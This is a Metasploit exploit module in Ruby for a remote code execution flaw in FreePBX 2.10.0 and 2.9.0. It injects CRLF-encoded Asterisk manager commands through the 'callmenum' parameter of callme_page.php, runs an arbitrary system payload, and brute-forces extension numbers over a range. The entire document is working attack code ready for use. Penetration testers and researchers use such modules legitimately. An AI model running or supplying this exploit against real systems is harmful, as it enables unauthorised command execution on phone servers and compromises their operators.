FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',  
'Description' => %q{  
This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.  
Due to the way callme_page.php handles the 'callmenum' parameter, it  
is possible to inject code to the '$channel' variable in function  
callme_startcall in order to gain remote code execution.  
  
Please note in order to use this module properly, you must know the  
extension number, which can be enumerated or bruteforced, or you may  
try some of the default extensions such as 0 or 200. Also, the call  
has to be answered (or go to voice).  
  
Tested on both Elastix and FreePBX ISO image installs.  
},  
'Author' => [ 'muts','Martin Tschirsich' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 20 2012'))  
  
register_options(  
[  
OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),  
], self.class)  
end  
  
def exploit  
# Check range input  
if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/  
min = $1.to_i  
max = $2.to_i  
else  
print_error("Please specify a range for option 'EXTENSION'")  
return  
end  
  
cmd = Rex::Text.uri_encode(payload.encoded)  
  
(min..max).each do |e|  
connect  
print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",  
'version' => '1.0',  
'vhost' => rhost  
})  
handler  
disconnect  
end  
end  
  
end  
  
`